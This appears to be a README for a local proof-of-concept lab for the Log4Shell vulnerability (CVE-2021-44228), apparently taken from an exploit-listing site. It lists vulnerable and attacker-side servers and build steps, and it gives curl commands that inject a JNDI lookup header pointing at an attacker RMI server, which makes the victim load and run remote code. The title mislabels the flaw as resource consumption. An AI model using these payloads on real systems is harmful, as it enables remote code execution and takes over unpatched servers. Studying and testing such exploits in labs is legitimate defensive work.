Exploit for Uncontrolled Resource Consumption in Apache Log4J CVE-2021-44228

## https://sploitus.com/exploit?id=43159333-A26E-5929-A289-0C84DDCF9DEA
## victim resource
- log4j: `http://localhost:8000`
- log4j2: `http://localhost:8001`
- logback: `http://localhost:8002`

## attacker resource
- class: `http://localhost:2000`
- rmi: `http://localhost:3000`
- ldap: `TODO`

## How to
```
$ # class -> (rmi/ldap) -> (victim server)
$ cd class && make
$ make
$ java -jar target/log4j.jar
$ java -jar target/log4j2.jar
$ java -jar target/logback.jar

$ # Attack
$ curl http://127.0.0.1:8000 -H 'x-rce:${jndi:rmi://127.0.0.1:3000/exec}'
$ curl http://127.0.0.1:8001 -H 'x-rce:${jndi:rmi://127.0.0.1:3000/exec}'
$ curl http://127.0.0.1:8002 -H 'x-rce:${jndi:rmi://127.0.0.1:3000/exec}'
```